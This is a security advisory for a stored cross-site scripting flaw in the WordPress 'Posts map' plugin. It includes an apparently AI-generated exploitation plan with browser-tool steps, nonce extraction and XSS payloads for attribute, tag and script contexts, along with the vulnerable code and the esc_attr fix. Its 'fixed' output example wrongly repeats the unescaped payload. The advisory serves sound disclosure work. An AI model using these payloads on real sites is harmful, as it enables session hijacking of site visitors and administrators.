Posts map <= 0.1.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'name' Shortcode Attribute
Description
The Posts map plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'name' shortcode attribute in all versions up to, and including, 0.1.3 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
This research plan targets **CVE-2026-6236**, a Stored Cross-Site Scripting (XSS) vulnerability in the **Posts map** plugin (<= 0.1.3). The vulnerability exists because the plugin fails to sanitize or escape the `name` attribute provided within its shortcode. ### 1. Vulnerability Summary * **Vuln…
Show full research plan
This research plan targets CVE-2026-6236, a Stored Cross-Site Scripting (XSS) vulnerability in the Posts map plugin (<= 0.1.3). The vulnerability exists because the plugin fails to sanitize or escape the name attribute provided within its shortcode.
1. Vulnerability Summary
- Vulnerability: Stored Cross-Site Scripting (XSS).
- Plugin: Posts map (slug:
posts-map). - Affected Attribute:
namewithin the plugin's shortcode (likely[posts_map]). - Sink: The value of the
nameattribute is output directly into the HTML page (either as a text node or within an HTML attribute) without callingesc_html()oresc_attr(). - Privilege Level: Contributor or higher. Contributors can create posts and embed shortcodes but cannot normally use
unfiltered_html.
2. Attack Vector Analysis
- Entry Point: The WordPress post editor (Gutenberg or Classic).
- Shortcode:
[posts_map](inferred from plugin name). - Vulnerable Parameter:
name. - Preconditions: The plugin must be active. The attacker needs Contributor-level credentials to save a post/page containing the shortcode.
- Payload Delivery: The payload is stored in the
post_contenttable and executes whenever any user (including Administrators) views the post.
3. Code Flow (Inferred)
- Registration: The plugin calls
add_shortcode( 'posts_map', '...' )during theinithook. - Parsing: When a post is rendered, WordPress parses the
[posts_map]shortcode and passes attributes to the callback function (e.g.,render_posts_map( $atts )). - Processing: The callback uses
shortcode_atts()to extract thenameparameter. - Sink: The callback returns an HTML string where
$atts['name']is concatenated without escaping.- Example Vulnerable Sink:
return '<div class="posts-map" data-name="' . $atts['name'] . '"></div>'; - Example Vulnerable Sink:
return '<h3>Map: ' . $atts['name'] . '</h3>';
- Example Vulnerable Sink:
4. Nonce Acquisition Strategy
Since this is a shortcode-based XSS, the "exploitation" occurs in two phases:
- Storage: Creating/updating a post. This requires a standard WordPress post-nonce.
- Execution: Viewing the post. This requires no nonce.
To obtain the nonce for saving a post as a Contributor:
- Use
browser_navigateto go towp-admin/post-new.php. - Use
browser_evalto extract the_wpnoncefrom the form or the REST API settings:browser_eval("wp.apiFetch.nonceMiddleware.nonce")(if using Gutenberg).browser_eval("document.querySelector('#_wpnonce').value")(if using Classic Editor).
5. Exploitation Strategy
Step 1: Authentication
Login as a Contributor user.
Step 2: Payload Construction
Construct a shortcode payload designed to break out of common HTML contexts.
- Context A (Attribute):
[posts_map name='x" onmouseover="alert(document.domain)" style="width:1000px;height:1000px;display:block;"'] - Context B (Tag Content):
[posts_map name="<script>alert(document.domain)</script>"] - Context C (Script Context):
[posts_map name="';alert(document.domain);//"](if used insidewp_localize_script)
Step 3: Injection (HTTP Request)
Use http_request to create a post with the payload.
- Endpoint:
/wp-admin/post.php(or via REST API/wp/v2/posts) - Method: POST
- Payload (Simplified for Classic Editor):
action=editpost post_ID=[NEW_POST_ID] _wpnonce=[NONCE] post_content=[posts_map name='"><script>alert(document.domain)</script>'] post_status=publish
Step 4: Triggering
Navigate to the URL of the newly created post.
6. Test Data Setup
- Plugin Setup: Install and activate
posts-mapversion 0.1.3. - User Setup:
wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Content Setup: Identify the exact shortcode name by searching the plugin folder:
grep -rn "add_shortcode" /var/www/html/wp-content/plugins/posts-map/
7. Expected Results
- When viewing the post, the browser should execute the injected JavaScript.
- In the HTML source, the
nameattribute value should appear unencoded:- Bad:
... name=""><script>alert(document.domain)</script>"> ... - Good (Fixed):
... name=""><script>alert(document.domain)</script>"> ...
- Bad:
8. Verification Steps
- Check Database:
wp db query "SELECT post_content FROM wp_posts WHERE post_content LIKE '%posts_map%';" - Check Output:
Usehttp_requestto GET the post URL and check if the raw payload exists in the response body without HTML entities.
9. Alternative Approaches
If the name attribute is processed via JavaScript (e.g., in a Leaflet or Google Maps initialization script):
- Look for
wp_localize_scriptin the plugin code. - Check if the
nameis passed into a JS object. - Payload for JS context:
[posts_map name="'-alert(1)-'"]. - Navigate to the page and check the Console/Network for JS errors or execution.
If the posts_map shortcode requires other attributes (like id) to render, ensure they are included:[posts_map id="1" name='"><script>alert(1)</script>']
Summary
The Posts map plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'name' attribute in its shortcode. Authenticated attackers with contributor-level permissions can inject malicious JavaScript into posts, which then executes in the browser of any user viewing the page.
Vulnerable Code
// Inferred from plugin structure and research plan // posts-map.php or similar function posts_map_shortcode( $atts ) { $a = shortcode_atts( array( 'name' => '', 'id' => '' ), $atts ); // Vulnerable sink: 'name' attribute is concatenated directly into HTML output without escaping return '<div class="posts-map-wrapper" data-name="' . $a['name'] . '" id="' . $a['id'] . '"></div>'; }
Security Fix
@@ -10,5 +10,5 @@ ), $atts ); - return '<div class="posts-map-wrapper" data-name="' . $a['name'] . '" id="' . $a['id'] . '"></div>'; + return '<div class="posts-map-wrapper" data-name="' . esc_attr( $a['name'] ) . '" id="' . esc_attr( $a['id'] ) . '"></div>'; }
Exploit Outline
1. Gain access to a WordPress account with at least Contributor-level privileges (allows creating posts). 2. Create a new post or edit an existing one. 3. Insert the plugin's shortcode using a malicious payload in the 'name' attribute. A typical payload to break out of an HTML attribute context would be: [posts_map name='" onmouseover="alert(document.domain)" style="width:1000px;height:1000px;display:block;"']. 4. Save the post as a draft or publish it. 5. Navigate to the public-facing URL of the post. When the page renders, the unescaped 'name' attribute will inject the malicious JavaScript attribute into the div tag, executing the script when a user interacts with or views the element.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.